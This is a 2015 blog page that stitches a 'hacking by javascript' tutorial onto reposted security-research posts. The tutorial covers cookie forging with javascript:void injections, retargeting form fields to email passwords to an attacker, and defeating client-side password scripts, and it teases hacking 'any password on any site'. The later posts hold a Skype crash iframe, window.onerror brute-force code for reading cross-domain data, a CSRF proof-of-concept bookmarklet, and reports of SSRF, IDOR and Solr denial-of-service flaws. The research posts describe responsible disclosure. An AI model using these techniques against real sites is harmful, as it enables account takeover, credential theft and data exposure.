Friday, May 22, 2015

hacking by javascript

| Javascript Injections |

Disclaimer: This site is for learning purposes only! Anyone looking to commit a crime, must leave this page now! We do not encourage or approve illegal acts nor criminal activity of any sort. Using these skills outside of these sites could result in arrest and imprisonment!
Introduction: In this tutorial we are going to teach you all the basics you need to know, to start hacking with Javascript Injections. Hackers use Javascript Injections to find and change the values of elements in a website.
We can use Javascript for 3 things: Alerts, Cookies, forms, and values. And we have two types of injections we will use: Alert and Void. We use the Javascript Alert Injection to find out what an element is. And we use the Javascript Void Injection to change that element. The Javascript Void Injection prevents your page from refreshing. This ensures your changes are valid on your current page. While this can be done on any browser, most do not support this straight out of the box. The best browser to use while doing this is Internet Explorer.
The Javascript Alert injection: is used to show you the value of an element within the site via a pop up. A Javascript Alert is written like this “javascript:alert();” without the quotes. So in order to show the cookies on the site; we could write “javascript:alert(document.cookie);” in address bar and press enter. This would show us a list of the cookies in use. Which we can use as valuable knowledge to make our attack via a injection.
*note: This could be used to show the value of any element, just replace the cookie for the element of your choice.
The Javascript Void Injection: is used for changing the values of elements within the site. The void injection makes sure your web browser does not refresh. This ensures your changes validity on the current page your editing. We could use this to change the value of  a cookie we found using our Alert Injection. For that we would write the following “javascript:void(document.cookie=”hackedcookie=value”);”. You would just replace ‘hackedcookie’ with the cookie you want to change. And ‘value’ to that which the cookie needs to be set to. For example you could use ‘true’ without the quotes. This could make the cookie (i.e. possibly a user) valid and grant you access to the site.
*note: This could be used to change the value of any element, just replace the cookie for the element of your choice.
Javascript Form Injections: You can use the methods learned above to edit forms as well. Through editing forms you can have valuable information like passwords emailed to you. But forms require the code to be written a little bit different. . For example let’s say the form code was the following   “<form action=”http://www.test.com/submit.php” method=”post”> <input type=”hidden” name=”to” value=”info@test.com”>” you would need to write javascript:void(document.forms[0].to.value=”myemail@tester.com”);” in order to change the email of the form. When Javascript Injecting a form you need to let it know which form you want to change; In case there are multiple forms on the page. The form is referenced by ‘forms[x]’, x being which form. The first form on the page is 0. Just like when counting arrays you start with 0 not 1. And you can change to.value to any part of the form you want to change.
*Note: To legally hack using what you learned in this tutorial please see our article on sites where you can legally hack by Clicking Here, most of them will have a mission related to the teachings in this tutorial. Just look out for the missions on Javacript

Javascript Hacking Tutorial 

1.  I need the HTML source code of the pages 

A webpage consists of a main document, and, if that one is a framework, of any number of child pages. Parts of the script code may be in any of them. There are different methods to get the source code of the html pages. The easiest one is a right click in the desired frame, then choose view source. If that doesn't work for whatever reason, try to save the whole page to your desktop via the "File" menu.

If you get any problems with scripts in the page that disable right clicks or create popups, go and disable scripting in the browser menu first. Additional problems can come up if you are inside a framework and need to break out of it. Simply look for the name of the child window you want to go to inside the parent frames html source and plug the name into the browser. If you can't get the source that way you can use programs like "codelifter" to get it, or just telnet to the web server. 


2. I need to analyze the html source code and find the JavaScript code inside. 

Now that you have the html source code, look for the < script > < /script > tags. Inside those tags is the script code responsible for password protection. The code looks like standard Java, C# or C++ code. Its easy to understand. Now look into the html source again and find the < form > < /form > tags. There may be more than one for distraction, but the one you are looking for should have as action the name of a password script function you found.

There may be distraction inside the html source, like comment tags that hide the JavaScript code, so make sure you have the complete html source. Also make sure you scroll the complete source code file, there are programs out there that put lots of spaces into html code to hide parts of the code in very long lines or at the very end of the file behind a few thousand empty lines.
3. I need to analyze the found password scripting function. 

First make sure this is the function that really gets called, and not  fake code to fool you. Now see if you find any hardcoded URL's inside the password script. JavaScript calls new webpages with something like 

'window.open(newpage.php,_self)'


_self meaning in a new window, or 

'location=newpage.php'


So if you find any hard coded URL, paste it into your browser and you are done. If the function creates the URL from the entered password or username and does not check it you will have to find them both by either fooling the owner of the password into giving it to you, or finding it written down somewhere.

If the script checks the entered password against something, either the plain text password or some generated hash, you can often get or guess the password from the comparison. Just look for it. Worst case you will have to understand the hash function and find passwords that fit into the comparison. The only really secure script is a script where the password really is the URL that gets called, either plain text or encrypted in any way. If you find a script like that and have no way to get the password, try to find other ways into the web server.

Sometimes people mess up file and/or folder restriction, allowing people to access parts of the web space that should be restricted, and that way finding files that are not for outside use. If that also fails you are down to good old brute forcing. That's not allowed in here, and won't be necessary. If brute forcing the web server should fail as well you would then go and attack other services like ftp with the hope to get access to the web files.



how to hack any password any site with javascript

Want to know someone's private website password? It's the biggest wanted hack: passwords, but how do you do it? Well, this tutorial shows you how to hack any password on any site with JavaScript. But this works best on public computers because multiple people log on to them, which means a better chance at unintentionally stored passwords. It helps to know a little bit about JavaScript before attempting this password hack.

link in description 


https://www.youtube.com/watch?v=j9vQW6MsGA0



*******please leave comment *********



Sunday, May 17, 2015

Hacking by java



Hacking by Java

The Java Hacker – Peter Jaric's Blog

Crashing Skype with a Malicious URL

Some time ago I noticed that it is possible to create Skype links for starting a chat with your account. This is how one of these URIs would look:
skype:#accountname/$*T;somenumber?chat
I started to play around with this and soon noticed that if you changed the “T” to a “U” and opened the URL in your browser (Chrome or Firefox, strangely it didn’t work on IE), Skype would hang or crash (after allowing Skype to open it, if that wasn’t previously set to yes as default). As I have near to zero experience with exploiting that kind of thing, and since I didn’t have time to learn it right then, I just sent this simple PoC to Microsoft Security:
<iframe src="skype:%23 SECURITY UPDATE %2F%24*U%3B 2015 ?chat">
(I tried to make a convincing message to trick the user into clicking OK, but that’s only necessary if Skype isn’t allowed to open Skype-URIs already.)
A little while ago I got this back from them:
We have completed our investigations regarding the issue you have reported and it has been fixed. We will be acknowledging your name in our Security Researchers webpage for the month of March.
It was interesting to see if a flaw in a desktop app would give me something more than a Hall of Fame mention, but I guess you need to at least provide some kind of exploit for that.
(For the record, Microsoft Security told me it was OK to post this.)

Using window.onerror to Brute-force Cross Domain Data (updated)

Update:
If you haven’t read the post before, please read the original post below.
I got a lot of interesting comments on Twitter about this post, and among them the obvious problem that this approach is slow. Then it hit me, I can do this as a binary search to make it much more efficient. By doing this, I am able to brute force 1 million guesses in about 5 to 10 seconds. It’s not extremely fast, but depending on the application, it can be enough. Here’s the revised code that does this:
// Load a script from a url and then call the callback
// From http://stackoverflow.com/a/950146/185596
function loadScript(url, callback)
{
  var head = document.getElementsByTagName('head')[0];
  var script = document.createElement('script');
  script.type = 'text/javascript';
  script.src = url;
  script.onreadystatechange = callback;
  script.onload = callback;
  head.appendChild(script);
}

function binarySearch() {
  var i, split, next;
  
  if (wasDefined && defined.length === 1) {
		console.timeEnd("binarySearch");
    alert('answer: ' + defined[0]);
  } else if (!wasDefined && notDefined.length === 1) {
		console.timeEnd("binarySearch");
    alert('answer: ' + notDefined[0]);
  } else {
    // Remove the previously checked secrets
    for (i = 0; i < defined.length; i++) {
      delete window[defined[i]];
    }
		
		// No we want to go on checking the defined variables if the
		// secret was defined or the undefined variables if the secret was
		// not defined.
    next = wasDefined ? defined : notDefined;

		// Split the array in two halves, one that we will define (in the
		// global object), and one that we will not define.
    split = Math.floor(next.length / 2);
    defined = next.slice(0, split);
    notDefined = next.slice(split, next.length);
    
		// Define the variables from the "defined" array.
    for (i = 0; i < defined.length; i++) {
      window[defined[i]] = 0;
    }
    
		// Assume that we will find the secret in the "defined" array.
		// window.onerror will set wasDefined to false if it is called.
    wasDefined = true;

		// Load the url where the secret is
    loadScript('http://avlidienbrunn.se/example', binarySearch);
  }
}

window.onerror = function() {
  // If we ended up here, we got a ReferenceError. That means the 
	// secret was not defined in the global object.
  wasDefined = false;
  // Suppress the default error handling
  return true;
}


var notDefined = [], defined = [], wasDefined = false;

// For testing the solution, seed with a lot of incorrect guesses
for (i = 0; i < 1000000; i++) {
  notDefined.push('notcorrect' + i);
}

// Add the correct guess somewhere random
notDefined[Math.floor(Math.random() * notDefined.length)] = 'secret2';

// Get rid of any defined properties from previous runs
for (i = 0; i < notDefined.length; i++) {
  delete window[notDefined[i]];
} 

// Run the algorithm
console.time("binarySearch");
binarySearch();
Recently I stumbled across a web site that had some user data accessible by a URL and it was returned like this:
value1, value2
I realized that this is valid JavaScript, being an expression with two variable names. I thought it might be possible to guess the names of those two variables and declare them and then fetch the data as a JavaScript via a script tag on another domain. If we then does not get an error, we guessed correctly! We can detect if we get an error with window.error. See further down for code that does this.
Thinking about this, I thought that maybe it is possible to do something similar with ordinary JSON data, and asked a little about it on Twitter. The first answer came from@avlidienbrunn and it made clear that my first idea wasn’t new at all. Earlier this year he had the same idea, but used another way to go about it, without window.error. Later@filedescriptor replied and said that my second idea had worked previously, but not anymore, for security reasons. Clearly, everything has been done already.
Anyway, since I came up with my own way of brute-forcing cross domain data, I thought I should share the code. It is not a very fast method, and I guess someone already thought of it, like back in 1993, but here it is. It uses the same example data as @avlidienbrunn used.
// Load a script from a url and then call the callback
// From http://stackoverflow.com/a/950146/185596
function loadScript(url, callback)
{
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = url;
    script.onreadystatechange = callback;
    script.onload = callback;
    head.appendChild(script);
}

function checkNext() {
  if (success) { 
    alert('answer: ' + secrets[i]); 
  } else {
    // Remove the previously checked secret to save memory
    delete window[secrets[i]]; 
    i++;
    // Define the next secret to check
    window[secrets[i]] = 0; 
    // We'll assume this will be a success. If not, success
    // will be set to false by onerror.
    success = true;
    loadScript('http://avlidienbrunn.se/example', checkNext);
  }
}


var secrets = [ 'secret0', 'secret1', 'secret2', 'secret3' ], 
    success = false,
    i; 

window.onerror = function() {
  // If we ended up here, we got a ReferenceError and then 
  // we know that the current guess  was wrong. 
  success = false;
  // Suppress the default error handling
  return true;
}

// Get rid of any defined properties from previous runs
for (i = 0; i < secrets.length; i++) {
  delete window[secrets[i]]; 
}  

// Start at -1 since checkNext will increase it by 1, to 0
i = -1;
checkNext();

A JavaScript challenge for Nordic.js

Today and yesterday I’ve been visiting Nordic.js, a Scandinavian JavaScript conference. To celebrate the occasion I made a little JavaScript challenge that I announced at Twitter:
challenge
I had a specific solution in mind, which I didn’t receive, but I got a load of other solutions instead:
The first one was from Andreas Madsen and it was in line with what I was looking for: changing the text between /* and */.
andreas_madsen
Then Jonas Magazinius bent the rules (rules that only existed in my mind) with this “feature flag” solution:
jonas
This was Mathias Bynens‘ first solution. It was similar to Andreas’ code, but implemented a bit differently.
mathias1
From Joshua Adams ‏I got this solution that required an HTML context, but was kind of cool anyway:
joshua
Mathias sent in some more proposals, getting closer to expected solution, 
the second being IE 10 only if I got it right.
 Update: Well, that was wrong, it actually is valid JavaScript. See this page about comment syntax.
mathias2
mathias3
While writing this post I got this from File Descriptor, and this was on par with what I was looking for, using the JavaScript feature “Automatic Semi-colon Insertion” and line terminators in a comment:
filedescriptor
Finally, the code I wrote that inspired this challenge.

var a = 0, b = 0;
a/*
*/++/*
*/b
vs.

var a = 0, b = 0;
a/**/++/*
*/b
On Twitter I wrote that I would declare the “coolest” solution the winner, and I think it’s the one from File Descriptor. Congratulations!

Gateway to Heaven – a CloudFlare Vulnerability

CloudFlare is a service that sits between the Internet and its customers’ web servers, protecting them and speeding them up.
When I was visiting the web site of one of these customers I noticed something strange. The page was fetching content (JavaScript and CSSes) via a URL that looked something like this:
http://example.com/cdn-cgi/pe/bag?r[]=http://example.com/some.css&r[]=http://example.com/some.css
(If you, like me, always are looking for stuff that can be abused or misused, you have probably already guessed what comes next.)
I soon understood that this was CloudFlare functionality and not local to the website. I then immediately sent this mail to CloudFlare:
Hi,
Some days ago I submitted a vulnerability report to a site that I think is one of your customers. I don’t want to disclose their name at the moment as I am not sure they are OK with that. They might have been in contact with you already, since the problem seems to be with functionality you provide.
URL:
1) http://cloudflare.com/cdn-cgi/pe/bag?r[]=http%3A%2F%2Fgoogle.com
2) http://cloudflare.com/cdn-cgi/pe/bag?r[]=http%3A%2F%2Fyahoo.com
Description:
When these URLs are accessed, your server nicely gets the page in the r[] parameter and returns it in the response. Multiple instances of r[] in the same URL are also possible.
This could be exploited by someone who wants to access another URL, but anonymously (except for your logs of course), or to access pages “in your name”, making you look bad.
It could also be exploited in another, more serious way. If you happen to have any internal web servers that are not visible to the internet (for example a bug tracker), they might be visible to the computer hosting cloudflare.com. Then this vuln could be used to fetch files from the internal servers (given that the attacker knows the URLs or brute forces them).
A search on Google for this type of URL shows that many sites has the same problem. I don’t know if you can fix it in one place or if you have to roll it out to all these sites.
If you have any questions, please let me know.
In short, the vulnerability would allow an attacker to download content via a server acting as a gateway to the inside of CloudFlare, or to anywhere else.
After this, the whole experience was very smooth. John Roberts, Platform Lead at CloudFlare, who was my contact during the following discussion, was very nice about it all. CloudFlare does not have a reward program, but I was offered a T-shirt as a token of appreciation.

Open Chat Conversations in Halebop Support (Fixed)

5 months ago I discovered that the Swedish telecom operator Halebop (a TeliaSoneraoperated brand) had a big problem in its support chat.
After ending a support session, the customer could access the log of the session for later reference via an URL on the form:
https://...halebop.se/...path?ID=[id]&_sid=[sid]
It turned out that the _sid parameter didn’t matter, and that it was possible to access other customers’ logs by changing the id parameter. This is called an Insecure Direct Object Reference in the OWASP Top Ten (thanks @avlidienbrunn). The id number I was looking at was higher than 2,500,000, which indicated that there could have beenmore than two and a half million support chat logs with potentially sensitive customer data open for anyone to read.
I asked on Twitter if anyone had a security contact at Halebop and got help almost immediately from @ilektrojohn, who knew someone on the inside. I mailed a report and it was forwarded to the incidence report team (IRT), since the contact at TeliaSonera I got in touch with was not working with this. I never got any response directly from the IRT, but was told by my contact that:
the official response was: “we do not encourage this sort of activity”

HOWEVER…

Before publishing this post I wanted to make sure that the vulnerability was fixed so I tried to access a support log and was rejected, as expected. But fortunately I did not remember to close the tab afterwards.
The next day, when I was doing some work from home and needed to use BURP (my proxy tool of choice) for once (I am a developer, not a security guy) I happened to notice something strange in the History tab. It looked like a support conversation! And it was.
Apparently the chat page used AJAX to update the current conversation at regular intervals, and it did this even though I was not allowed to see it on the page. My guess is that when they fixed the original vulnerability, they only did it at one place in the view layer, and not deeper down.
Naturally I had to report this flaw too, but this time my original contact was not available. Instead I asked Telia at Twitter for help. One week later the security team contacted me and this time they told me:
Thank you for taking the effort of finding and reporting this issue.
That’s what I want to hear!

Agessa’s World – a game where the interface consists of only alert(), confirm() and prompt()

A while ago I asked myself: who uses alert() for anything but debugging in web applications nowadays? It didn’t take long to go from that question to the idea that I should make something that uses only native dialogs, just for fun.
The result is a game that only uses alert(), confirm() and prompt(). Nothing else is visible to the user. I have created a small “framework” that I call ACP, and a small demo game using that framework. The code can be found at my Github repository ACP. And the game is here (same link as above).
One thing I have learned from this is that while the framework logic didn’t take that much time, writing the story and the game world was very time consuming, even though the game is quite small. Now i have more respect for all the game devs out there, that’s for sure.
EDIT:
I forgot to thank Jonatan Heyman, who beta-tested the game and found some irritating glitches.

Linkifying robots.txt

I find it quite fun to look for vulnerabilities in websites and then report them (to hopefully gain a bug bounty or at least a place on a Hall of Fame list). One place to find interesting stuff is in the robots.txt file present on many websites.
It is quite annoying though, that the relative URLs found in the file are not clickable. So I made a bookmarklet (JavaScript code run from a bookmark in your browser) to make this possible. I had to make two versions, one for Firefox and on for Chrome, working slightly different.

INSTALLATION

Go to this bookmarklet editor.
Paste the code below (depending on browser) into the text field.
Enter a name of your choice for the bookmarklet (e.g. “Linkify robots.txt”).
Click “Compress”.
Drag the bookmarklet link found at the bottom to your bookmarks.

FireFox

javascript:
(function(){
  var base=location.protocol+"//"+location.hostname+(location.port&&":"+location.port);
  var html=document.body.textContent.replace(/: (/.*)/g,': <a href="'+base+'$1">$1</a>');
  html=html.replace(/n/g,'<br>');
  document.open();
  document.write('<body>'+html+'</body>');
  document.close();
}
)()

Chrome

javascript:
(function(){
  var w=window.open();
  var base=location.protocol+"//"+location.hostname+(location.port&&":"+location.port);
  var html=document.body.textContent.replace(/: (/.*)/g,': <a href="'+base+'$1">$1</a>').replace(/n/g,'<br>');
  w.document.write('<body>'+html+'</body>');
  w.document.close()
}
)();

USAGE

Go to a robots.txt file somewhere on the web and click the bookmarklet.

Abusing the Solr local parameters feature – LocalParams injection

Solr is an open source search platform built by the Apache project. You can read more about it at the Solr site, but I’ll go straight to the point. Quite a few sites has based their search functionality on Solr and many of them suffer from a small problem, that I call “LocalParams injection” for lack of a better word (please suggest something more fitting, or tell me if there already is a term for this).

Background

LocalParams is a way to insert meta data about the search into the query string. For example, if the user searches for “food”, and has indicated the she wants 20 rows per page, we can change the query to “{! rows=20} food” before we send it to the query parser.

A vulnerability

What I have seen is that many Solr implementations fail to sanitize the search string properly and allow the LocalParams syntax to pass through. This makes it possible to inject whatever local parameters you want to into the query. I have been experimenting with the rows parameter, but there probably are other ways to abuse this functionality.

A potential exploit

So what can you do? Well, if you first make a search that results in a great number of hits (sometimes *, or *:*, works, which means all documents), you can then prefix it with {! rows=the same number}. The server now has to serve you all these results on one page. For some sites, this takes a very long time.
I am suggesting that by making a (not that large) number of these requests (with small variations to defeat caching) simultaneously you could potentially carry out a Denial of Service attack against the search server, or maybe even the web site if they share resources. I have not tried this, though, and can’t say for sure that I am right.

Reported and fixed

I have reported this vulnerability to a number of sites and most of them have fixed it already. These include:

Sea Surfer v2

A little while ago I made a bookmarklet called the Sea Surfer for detecting and exploting CSRF vulnerabilities. Since then I have got some feedback from Ashar Javedwhich has prompted me to create a slightly improved version.
Sea Surfer v2 release notes:
  • jQuery is loaded automatically (no need to run the jQuerify bookmarklet first)
  • All inputs and textareas are converted to hidden inputs
  • window.open is used instead of iframes
  • Bug fixes

HOW DOES IT WORK – WHAT DOES IT DO?

When I come to a page with a form I’d like to check, I click on the Sea Surfer link in my bookmarks bar. In the new tab I check in the form if it contains any CSRF tokens. If it does, I don’t check the page any further. This takes less than 5 seconds. On the other hand, if the form looks exploitable, I change some values and try it out. When the form is submitted the resulting page mostly gives immediate feedback if the CSRf succeeded (it often contains the modified value). Such a successful exploit often take less than 30 seconds. What I am trying to say is that I think that the Sea Surfer simplifies the process quite much.

INSTALLATION

  • Add the Sea Surfer v2 bookmarklet to your bookmarks (by dragging the link to your bookmarks bar, for example)

HOW TO USE

  • Choose a page with forms that you want to check
  • Run the Sea Surfer by clicking the bookmarklet link
  • In the resulting window or tab, all forms on the page will be displayed in text areas. Choose the one that you want to check if it does not contain any CSRF tokens or similar, edit the inputs and then click “Test vulnerability”
A new window or tab will open and the form will be submitted automatically. If the submit succeeded (it is not detected as not being legit), you can use the edited form as a proof of concept when you report the vulnerability. I have only tested this in Firefox and Chrome (in Windows).

SOURCE CODE

As I stated in the previous post, please modify this code anyway you want to. Then make a bookmarklet of it. This time I used the original Bookmarklet Crunchinator. In the bookmarklet above I’ve base64 encoded the code to be able to include the bookmarklet in this page. This is not necessary if you convert the code to a bookmarklet yourself and just put it in your bookmarks.
(function(){
    var version = 2;
    var w = window.open();
    
    // getScript() by paul irish
    // http://pastie.org/462639
    function getScript(url, success){
        var head = document.getElementsByTagName("head")[0],
        done = false;
        var script = document.createElement("script");
        script.src = url;
        
        // Attach handlers for all browsers
        script.onload = script.onreadystatechange = function() {
            if (!done && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
                done = true;
                success();
            }
        };
        head.appendChild(script);
    }
    
    function seaSurfer($) {
        function convertToHidden(elem) {
            return '<input name="' + elem.attr('name') + '" value="' + elem.val() + '" type="hidden"/>';
        }
        
        var body = $(w.document.body);
        body.append('<h1>Sea Surfer v' + version + '</h1><p>By <a href="http://twitter.com/peterjaric">@peterjaric</a> at <a href="http://javahacker.com">javahacker.com</a>.</p>');
        
        // Create test entry for each form on the page
        $('form').each(function(i) {
            var form, formInputs, inputs, area, desc, script, a, autoSubmit, formHtml;
            form = $(this).clone();
            
            // Some info about the form
            desc = '<h2>Form ' + (i + 1) + ' (' + form.attr('action') + ')</h2>';
            body.append(desc);

            // Prepare the form code
            a = document.createElement('a');
            a.href = form.attr('action');
            form.attr('action', a.href);
            form.removeAttr('onsubmit');
            form.removeAttr('class');
            form.removeAttr('style');

            // Find the current inputs (etc) of the form, only caring about the current values
            formInputs = 'input[type=text],input[type=hidden],input[type=password],input:checked,select,textarea';
            inputs = $(this).find(formInputs); // using $(this) instead of form since clone doesn't clone textarea values

            // Replace them with hidden inputs (and some formatting)
            form.empty();
            form.append('\n');
            inputs.each(function() {
                console.log($(this).val());
                form.append('  ' + convertToHidden($(this)) + '\n');
            });

            // Create a textarea and insert the form and some code that will auto submit the form later
            area = $('<textarea id=\'area' + i + '\' cols=120 rows=20>');
            autoSubmit = '<script>document.getElementsByTagName(\'form\')[0].submit();</script>';
            formHtml = form.wrap('<div>').parent().html();
            area.text(formHtml + autoSubmit);
            body.append(area);

            // Create a button that will open a new window that will submit the form
            script = 'javascript:function insertAfter(newChild,refChild){refChild.parentNode.insertBefore(newChild,refChild.nextSibling);} var area = document.getElementById(\'area' + i + '\'); var csrfWin = window.open();  csrfWin.document.write(area.value);';
            body.append('<br/><input type=submit value="Test vulnerability" onclick="' + script + '"/><br/>');
        });
    }


    getScript('http://code.jquery.com/jquery-1.7.2.min.js', function() {
        // Remove all global traces of our newly loaded
        // jQuery and Then run the seaSurfer
        jQuery.noConflict(true)(function(jQuery) {
            seaSurfer(jQuery);
        });
    });
})();
Again: the point of this is to find vulnerabilities in your own web apps and fix them, or in other web apps and report them.
Enjoy!

The Sea Surfer – a Simple Tool for CSRF Vulnerability Detection and Proof-of-Concept Creation

Lately I have taken an interest in web application security, as covered by OWASP. One common vulnerability in web applications is to be sensitive to CSRF attacks. I have made a small tool in the form of a bookmarklet to detect CSRF vulnerabilities and create proof-of-concept exploits. It is very simple, but it does the job. There will probably be cases when it doesn’t work, but mostly it should. I guess there are similar tools out there already, and you can do this with Firebug for example (albeit that is a bit more cumbersome), but make not mistake: I’m in it for the code.

INSTALLATION

  • Add the jQuerify bookmarklet to your bookmarks (go to Learning jQuery to find it)
  • Add the Sea Surfer bookmarklet to your bookmarks (by dragging it to your bookmarks bar, for example)
Why do you need to install jQuerify? I was a little lazy and used jQuery in the code, and when I tried to use a jQuery Bookmarklet generator (that would include jQuery for me), Firefox blocked the popup. I am not exactly sure why, but it may have to do with that the window.open call doesn’t seem to originate from the click on the bookmarklet.

HOW TO USE

  • Choose a page with forms that you want to check
  • Run jQuerify by clicking it
  • Run the Sea Surfer by clicking it
  • In the resulting window or tab, all forms on the page will be displayed in text areas. Choose one that does not contain any CSRF tokens or similar, edit the inputs and then click “Test vulnerability”
An iframe will open and the form will be added to it. It will be submitted automatically. If the submit succeeded, you can use the edited form as a proof of concept when you report the vulnerability. I have only tested this in Firefox and Chrome (in Windows).

SOURCE CODE

I have more or less hacked this together. Do not expect the highest code standards. Please modify it anyway you want to, though. Then make a bookmarklet of it, with a bookmarklet generator if you want to. I used the Bookmarklet Crunchinator. In the bookmarklet I’ve base64 encoded the code to be able to include the bookmarklet in this page (it broke the page layout, and I may have spent more on trying to fix that than on the code itself). This is not necessary if you convert the code to a bookmarklet yourself and just put it in your bookmarks.
    if (typeof jQuery === 'undefined') {
        alert('Run jQuerify first!');
    } else {
        var w = window.open();
        var body = jQuery(w.document.body);
        jQuery('form').each(function(i) {
            var clone = jQuery(this).clone();
            var inputs = clone.find('input,textarea,select');
            var area = jQuery('<textarea id=\'area' + i + '\' cols=120 rows=50>');
            var desc = '<h1>Form ' + i + '</h1><p>Edit the values and click \'Test vulnerability\' to try it out.</p>';
            var script = 'javascript:function insertAfter(newChild,refChild){refChild.parentNode.insertBefore(newChild,refChild.nextSibling);} var area = document.getElementById(\'area' + i + '\'); var iframe = document.getElementsByTagName(\'iframe\')[0]; if (!iframe) { iframe = document.createElement(\'iframe\'); insertAfter(iframe, area); }  iframe.contentDocument.write(area.value);';
            var a = document.createElement('a');
            a.href = clone.attr('action');
            clone.attr('action', a.href);
            clone.empty();
            clone.append(inputs);
            area.text(clone.wrap('<div>').parent().html().replace(/>/g, '>\n') + '<script>document.getElementsByTagName(\'form\')[0].submit();</script>');
            body.append(desc);
            body.append(area);
            body.append('<br/><input type=submit value="Test vulnerability" onclick="' + script + '"/><br/>');
        });
    }
Finally: the point of this is to find vulnerabilities in your own web apps and fix them, or in other web apps and report them.

UPDATE

I noticed that there was a quite big short-coming in my code: I only included inputs in the forms, not textareas or selects. This is now fixed.